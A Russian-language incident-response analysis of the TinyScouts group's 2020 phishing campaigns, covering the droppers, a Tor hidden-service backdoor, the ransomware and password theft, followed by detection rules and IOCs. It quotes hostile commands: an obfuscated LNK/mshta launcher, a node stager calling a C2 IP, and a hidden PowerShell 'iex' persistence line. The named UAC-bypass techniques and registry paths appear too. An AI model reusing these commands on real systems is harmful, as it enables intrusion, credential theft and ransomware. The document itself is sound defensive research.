Какое-то время назад мы начали фиксировать попытки заражения инфраструктур наших заказчиков ранее не известным вредоносным ПО. Оно доставлялось пользователям через фишинговые рассылки, иногда посвященные второй волне коронавируса, а иногда – четко «заточенные» под атакуемую организацию и связанные с ее деятельностью. Злоумышленники выдавали себя за различные существующие компании, например, «Норильский Никель», Российский союз промышленников и предпринимателей, Финаудитсервис и т.д.



Примечательными были два аспекта деятельности группировки: во-первых, высокий уровень технических навыков злоумышленников, а во-вторых – вариабельность сценария атаки. Если ты как жертва не интересен – украдут пароли и зашифруют данные, а вот если твоя машина в интересном домене и имеет потенциал для более интересного развития атаки – загрузят Remote Admin Tool (RAT), написанный на PowerShell. Мы назвали группировку TinyScouts – по именам функций из вредоносного кода. В статье мы расскажем о двух ее последних кампаниях, которые условно можно разделить по месяцам – июль и август 2020 года, и сделаем полный разбор инструментов и сценариев TinyScouts.

Июльская кампания. Direct download

В июле вредонос распространялся в виде lnk-файла, который выполнял следующую команду:

%comspec% /v /c set m=m^s^h^ta && set a=AKT-F^inAudit^Service.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! !temp!\Temp1_А^ктСве^рки.z^ip\!a!)

В результате запуска mshta.exe происходило выполнение обфусцированного JS-скрипта. Его задача – извлечь из тела lnk-файла документ для отвлечения внимания, открыть его через rundll32.exe и запустить обфусцированную команду PowerShell. Фрагмент скрипта после деобфускации приведен ниже:



Скрипт в переменной toexecute загружает и запускает еще один обфусцированный PowerShell-скрипт c именем Decide (запрос к decide.php). Пример обфускации ниже:



Задача данного скрипта – проверить компьютер на соответствие некоторым параметрам и скачать следующую нагрузку с серверов. Фрагмент деобфусцированного кода приведен ниже:



Проверяется наличие TeamViewer, RDP сессий и факт вхождения в домен для того, чтобы определить, какую нагрузку необходимо скачать. В случае «интересной» системы загружается RAT, иначе – шифровальщик. В обоих случаях это обфусцированные в несколько слоев скрипты.

Августовская кампания (продолжается). Tor Hidden Services

В начале августа схема распространения изменилась: теперь в письмах была ссылка на скачивание sfx-архива, который содержит 4 файла:

• document.doc. Документ, который открывается для отвлечения внимания и не несет вредоносной нагрузки.
• 7za.exe. 7z- архиватор.
• wget.exe. Оригинальная утилита wget.
• service. JS-скрипт Stager 1

При запуске sfx-архива происходят следующие действия:

1) открывается document.doc

2) с помощью wget и 7z скачивается и распаковывается TOR и node.exe по следующим ссылкам:

www.torproject.org/dist/torbrowser/9.5.1/tor-win32-0.4.3.5.zip

nodejs.org/dist/latest-carbon/win-x86/node.exe

3) с помощью node.exe запускается скрипт Stager 1:

C:\Windows\System32\cmd.exe" /c if not exist hostname (node service 192.248[.]165.254)

Ниже представлен деобфусцированный скрипт Stager 1:



Скрипт service получает в качестве аргумента адрес сервера управления и при запуске создает TOR Hidden Service (https://2019.www.torproject.org/docs/onion-services). Стоит отметить, что при запуске скрытого сервиса TOR генерируется его имя (оно схоже с именем обычного ресурса в сети TOR, например, vkss134jshs22yl3li2ul.onion). Далее скрипт отправляет сгенерированное имя Hidden Service злоумышленнику и поднимает локальный веб-сервер. В дальнейшем общение злоумышленника с зараженной системой происходит в режиме запрос/ответ к веб-серверу (строка 19 в коде), где в запросах передается код для выполнения, а в ответах – результаты.

Такая архитектура позволяет злоумышленнику получить доступ к зараженной системе, даже если она находится за NAT (главное условие – наличие интернета), и делает необязательным знание «белого» IP-адреса жертвы.

Первым запросом к поднятому web-серверу приходит скрипт Decider, задача которого заключается в определении факта вхождения компьютера в домен, а также получении имени пользователя. На этот раз проверки наличия TeamViewer и RDP отсутствуют:



После того как злоумышленнику будут отправлены результаты работы скрипта Decider, в сторону заражённой системы приходит веб-запрос, содержащий либо шифровальщик, либо RAT – в зависимости от интереса злоумышленника.

Общие модули в обеих кампаниях

Скрипт Stager 3

Основной скрипт содержит в себе 5 компонентов, закодированных в base64:

• шифровальщик Encryptor
• файл Readme с сообщением от злоумышленников
• утилита WebBrowserPassView
• утилита Mail PassView
• Injector. Исполняемый файл, используемый для инжектирования WebBrowserPassView и Mail PassView в процесс svchost. Инжектирование выполняется обычным методом RunPE.

Функции скрипта Stager 3:

1) Запуск шифровальщика (функция Get-Stuff)

Ниже приведен фрагмент кода скрипта с запуском шифровальщика:



2) Обход UAC (для удаления теневых копий)

В коде присутствуют три техники: с помощью csmtp.exe, CompMgmtLauncher.exe и fodhelper.exe. Почитать про них можно здесь, здесь и здесь.

3) Удаление теневых копий

4) Запуск WebBrowserPassView и Mail PassView

Это утилиты от Nirsoft для извлечения паролей из браузеров и почтовых клиентов соответственно.





5) Отправка на сервер управления отчетов вышеупомянутых утилит.

Перед отправкой отчеты шифруются алгоритмом RC4 со сгенерированным ключом (4 символа):



Сам ключ помещается в начало сообщения:

Шифровальщик Encryptor

Сообщение readme выглядит следующим образом:



Шифровальщик представляет собой исполняемый файл .NET без какой-либо обфускации. Файлы шифруются алгоритмом AES. Для каждого файла генерируется отдельный ключ и вектор инициализации, который затем шифруется с помощью публичного ключа RSA и помещается в зашифрованный файл. Главная функция шифровальщика приведена ниже:

RAT

Данный скрипт имеет несколько слоев обфускации. После расшифрования может выполнять следующие команды:

• delete — самоудаление
• exec – выполнение команды PowerShell
• download – загрузка файла
• set_wait_time – изменить частоту запроса команд
• update_tiny – обновление RAT
• run_module – выполнить блок PowerShell-команд
• add_persist_module – добавить в систему модуль PowerShell, который будет выполняться при каждом запуске RAT.
• remote_persist_module – удалить модуль из списка автозагрузки RAT.

Деобфусцированная функция обработки команд приведена ниже:

Способ закрепления

Для закрепления используются два ключа:

1) HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. В этот ключ помещается следующая команда (строка деобфусцирована):

cmd /c PowerShell -windowstyle hidden -nop -c «iex (Get-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows -Name <client_id>»

2) HKCU\SOFTWARE\Microsoft\Windows. Здесь хранится скрипт в значении с именем client_id. Таким образом, при запуске системы команда из Run ключа читает и запускает скрипт отсюда.
client_id – строка формата AppX + base64(hostname+username+campaign_id)

Функция закрепления выглядит следующим образом:



Расшифрованный скрипт, который помещается в Run:



Стоит обратить внимание, что код вредоноса не хранится ни на диске, ни в реестре: каждый раз он загружается заново вышеуказанным скриптом.

Команда add_persist_module

RAT имеет возможность добавлять PowerShell-модули, которые будут запускаться при каждом запуске. Для этого используется отдельный ключ реестра, в котором хранятся идентификаторы модулей. Во время запуска этот ключ проверяется, и вредонос делает запрос на сервер, скачивая все модули по их идентификаторам.



При запуске вредоноса запускается функция Load-AllPersistModules для запуска всех добавленных модулей:



Код модулей тоже не хранится ни на диски, ни в реестре, как и основное тело RAT.

Взаимодействия с сервером

В код вшита константа CampaignID, которая используется при регистрации RAT при запуске (функция register-tiny) в качестве ключа шифрования. Алгоритм шифрования – RC4. После отправки первичной информации о системе в ответе сервера содержится ключ шифрования, который будет использоваться в дальнейшем с тем же алгоритмом.

Технические аспекты обнаружения данных кампаний

Отвечая на вопрос, как детектировать то или иное, мы стараемся разделять все правила на две большие группы:

• детект общесистемных аномалий,
• детект аномалий под конкретную компанию/семейство/инструмент.

Детект общесистемных аномалий

Взаимодействие с промежуточными серверами и СnС:
В июльской кампании в части обнаружения и блокировки данной активности достаточно внести IP-адреса и доменные имена в списки блокировок, при этом не забыв поставить на мониторинг попытки обращения к ним.

В августовский компании с аспектом сетевого обнаружения стало сложнее, и тут стоит обратить внимание вот на что:

• Мы по-прежнему можем заблокировать и вынести часть IP-адресов и доменных имен на мониторинг;
• Наличие сетевой активности через TOR заставляет нас хранить и динамически обновлять списки IP-адресов, участвующих в построении этой сети. И тут для нас детектирующим правилом может быть обращение к IP-адресу из сети TOR;
• В классическом варианте, если веб-сервер стоит внутри инфраструктуры (у нас в случае с Stager 1 именно так), с точки зрения правил межсетевого экранирования SYN-флаг TCP-сессии приходит снаружи. В случае с TOR Hidden Service это не так. Там в игру вступают так называемые rendezvous point «места встречи» (по указанной выше ссылке есть все подробности) благодаря которым SYN-флаг TCP-сессии приходит изнутри, и простая блокировка входящих соединений не сработает.

Для обеих кампаний будет достаточно неплохо работать набор из IDS-правил, которые направлены на обнаружение используемых специфичных методов PowerShell или их Base64 преобразованного вида.

Запуск кода на конечной системе

В качестве источника событий могут выступать два источника — Windows Audit и Sysmon.

Журнал PowerShell Script Block Logging

Журнал, в который попадают записи о запускаемых PowerShell-скриптах. Расположен по следующему пути: Appilication and Sevices Logs > Microsoft > Windows > Powershell > Operational.

Правила детекта, направленные на обнаружение используемых специфичных методов PowerShell, хорошо справятся с задачей обнаружения активности данных кампаний.

Журнал Security (или Sysmon)

Запуски процессов – 4648 (1)

Для детектирования данной активности необходимы классические правила по детектированию аномалий в отношении процессов отец-> ребенок. Данные связки хорошо отслеживаются в процессе запуска на хосте: сmd->mshta, cmd->powershell, mshta->powershell, rar->rundll32, node->wmic

Также может помочь правило по отслеживанию подозрительных параметров запуска процессов: powershell -e «base64»

Сетевое соединение процессов — 5156 (3)

Правило по детектированию сетевого соединения от процесса PowerShell на белые IP-адреса должно помочь обнаружить данную активность.

Также при августовской кампании хорошо помогут правила по детектированию внутреннего проксирования траффика на 127.0.0.1 (именно это делает TOR и local web server).

Запись в реестр – 4657 (13)

RAT, написанный на PowerShell сохраняет присутствие через распространенную ветку реестра HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, а значит, правило для мониторинга записи по этому пути – наш вариант.

Детект попыток обхода технологии UAC: изменения в следующих ветках реестра —

HKCU\Software\Classes\mscfile\shell\open\command, HKCU\Software\Classes\ms-settings\shell\open\command, HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\Calibration

Детект аномалий под конкретную компанию/семейство/инструмент

Запуск кода на конечной системе

Запуски процессов – 4648 (1)

Тут необходимо правило по отслеживанию подозрительных параметров запуска процессов: C:\Windows\System32\cmd.exe" /c if not exist hostname (node service )
Запись в реестр – 4657 (13)

RAT, написанный на PowerShell, также сохраняет присутствие через ветку реестра HKCU\SOFTWARE\Microsoft\Windows, а значит, для обнаружения нам необходимо отслеживать запись значения «client_id» по этому пути.

Индикаторы компрометации:

a9a282a11a97669d96cce3feaeaaa13051d51880
8b20babe972f580f1b8f4aca4f7724f7866a595a
ba7b1f2a9feb6b5b0ebc15620b38f8311a67c017
2c687d52cc76990c08ec8638399f912df8fb72de
c19b68e4b1cb251db194e3c0b922e027f9040be3
a2d4b0914d164f2088130bee3cdcf4e5f4765c38
18a28811dbbcc97757091ddb3e3ab6982b0bbfc9
192.248.165[.]254 
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_launch.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_fin.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/web/index.php?r=bag
https[://]hello.tyvbxdobr0.workers[.]dev
https[://]curly-sound-d93e.ygrhxogxiogc.workers[.]dev
https[://]old-mud-23cb.tkbizulvc.workers[.]dev
https[://]odd-thunder-c853.tkbizulvc.workers.dev/
http[://]45.61.138[.]170

Авторы поста:

Игорь Залевский, руководитель отдела расследования киберинцидентов JSOC CERT
Аскер Джамирзе, эксперт по техническому расследованию отдела JSOC CERT